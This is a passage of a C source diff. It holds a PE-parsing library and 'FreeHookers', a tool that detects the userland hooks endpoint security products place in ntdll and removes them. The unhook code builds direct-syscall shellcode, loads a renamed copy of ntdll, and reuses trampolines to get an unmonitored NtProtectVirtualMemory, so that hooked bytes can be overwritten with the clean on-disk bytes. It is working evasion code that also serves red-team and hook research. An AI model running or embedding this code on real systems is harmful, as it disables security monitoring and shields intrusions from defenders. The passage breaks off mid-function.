IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
return &sectionHeaders[sectionIndex];
}
}
return NULL;
}
/*
Get the next section header having the given memory access permissions, after the provided section headers "prev".
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
Returns NULL if no section header is found.
*/
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
if (readable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
if (readable == -1) {
continue;
}
}
else {
if (readable == 1) {
continue;
}
}
}
if (writable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
if (writable == -1) {
continue;
}
}
else {
if (writable == 1) {
continue;
}
}
}
if (executable != 0) {
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
if (executable == -1) {
continue;
}
}
else {
if (executable == 1) {
continue;
}
}
}
return &sectionHeaders[sectionIndex];
}
return NULL;
}
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
PVOID peBase = pe->dosHeader;
if (pe->isMemoryMapped) {
return (PBYTE)peBase + rva;
}
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
if (NULL == rvaSectionHeader) {
return NULL;
}
else {
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
}
}
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
assert(relativeOffset <= MAXDWORD);
return sectionVA + (DWORD)relativeOffset;
}
}
return 0;
}
VOID PE_parseRelocations(PE* pe) {
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
pe->nbRelocations = 0;
DWORD relocationsLength = 16;
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
if (pe->nbRelocations >= relocationsLength) {
relocationsLength *= 2;
void* pe_relocations = pe->relocations;
assert(NULL != pe_relocations);
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
assert(NULL != pe->relocations);
}
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
pe->nbRelocations++;
relocationEntry++;
}
relocationBlockPtr = nextRelocationBlockPtr;
}
void* pe_relocations = pe->relocations;
assert(pe_relocations != NULL);
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
if (NULL == pe->relocations)
exit(1);
}
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
{
DWORD* relocDwAddress;
QWORD* relocQwAddress;
if (pe->isMemoryMapped) {
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
return;
}
if (NULL == pe->relocations) {
PE_parseRelocations(pe);
}
assert(pe->relocations != NULL);
PVOID oldBaseAddress = pe->baseAddress;
pe->baseAddress = newBaseAddress;
for (DWORD i = 0; i < pe->nbRelocations; i++) {
switch (pe->relocations[i].Type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
assert(relativeOffset <= MAXDWORD);
*relocDwAddress += (DWORD)relativeOffset;
break;
case IMAGE_REL_BASED_DIR64:
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
break;
default:
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
exit(1);
}
}
return;
}
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = isMemoryMapped;
pe->isInAnotherAddressSpace = FALSE;
pe->hProcess = INVALID_HANDLE_VALUE;
pe->dosHeader = imageBase;
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
pe->optHeader = &pe->ntHeader->OptionalHeader;
if (isMemoryMapped) {
pe->baseAddress = imageBase;
}
else {
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
}
pe->dataDir = pe->optHeader->DataDirectory;
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
}
pe->relocations = NULL;
return pe;
}
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
PE* pe = calloc(1, sizeof(PE));
if (NULL == pe) {
exit(1);
}
pe->isMemoryMapped = TRUE;
pe->hProcess = hProcess;
pe->isInAnotherAddressSpace = TRUE;
pe->baseAddress = imageBase;
pe->dosHeader = imageBase;
DWORD ntHeaderPtrAddress = 0;
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
pe->dataDir = pe->optHeader->DataDirectory;
WORD sizeOfOptionnalHeader = 0;
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
DWORD exportRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
DWORD AddressOfNames = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
DWORD AddressOfFunctions = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
DWORD AddressOfNameOrdinals = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
}
pe->relocations = NULL;
return pe;
}
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
LPDWORD exportedNames = pe->exportedNames;
LPDWORD exportedFunctions = pe->exportedFunctions;
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
DWORD nameOrdinal_low = 0;
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
DWORD nameOrdinal_mid;
LPCSTR exportName_mid;
while (nameOrdinal_high - nameOrdinal_low > 1) {
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
if (strcmp(exportName_mid, functionName) > 0) {
nameOrdinal_high = nameOrdinal_mid;
}
else {
nameOrdinal_low = nameOrdinal_mid;
exportName_low = exportName_mid;
}
}
if (!strcmp(exportName_low, functionName))
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
return 0;
}
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
DWORD functionRVA = PE_functionRVA(pe, functionName);
return PE_RVA_to_Addr(pe, functionRVA);
}
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
if ((size_t)sectionSize < patternSize) {
continue;
}
assert(patternSize <= MAXDWORD);
DWORD endSize = sectionSize - (DWORD)patternSize;
for (DWORD offset = 0; offset < endSize; offset++) {
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
if (!memcmp(ptr, pattern, patternSize)) {
return ptr;
}
}
}
return NULL;
}
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
signed long long int maximum;
signed long long int minimum;
switch (relativeReferenceSize)
{
case 1:
minimum = MININT8;
maximum = MAXINT8;
break;
case 2:
minimum = MININT16;
maximum = MAXINT16;
break;
case 4:
minimum = MININT32;
maximum = MAXINT32;
break;
default:
minimum = 0;
maximum = 0;
break;
}
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
switch (relativeReferenceSize) {
case 1:
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 2:
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 4:
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
default:
minimum = 0;
maximum = 0;
break;
}
}
}
return NULL;
}
+673
View File
@@ -0,0 +1,673 @@
// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include "UserlandHooks.h"
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
int debugf(const char* fmt, ...) {
#if _DEBUG
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
#else
fmt = 0;
return 0;
#endif
}
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
diff* diffsList = malloc(diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
}
}
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
diff* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Dumps the full content of a single file, in a newly allocated buffer
*/
PBYTE readFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(hook* hook, DWORD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
diff* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
diff patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
diff lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
{
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
DWORD oldProtect;
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PBYTE pShellcode = shellcode;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD syscallNumber = 0;
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
for (int i = 0; i < 0x10; i++ , scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
if (syscallNumber != 0) {
//syscall number found !
}
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
else {
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
exit(EXIT_FAILURE);
}
*((DWORD*)(&shellcode[1])) = syscallNumber;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
#if !_WIN64
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
exit(EXIT_FAILURE);
#else
break;
}
#endif
default:
printf("Unhook method does not exist, exiting...");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
hook* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
hook* hooksList = calloc(hookListSize, sizeof(hook));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
else {
hooksFoundInLastModule = FALSE;
}
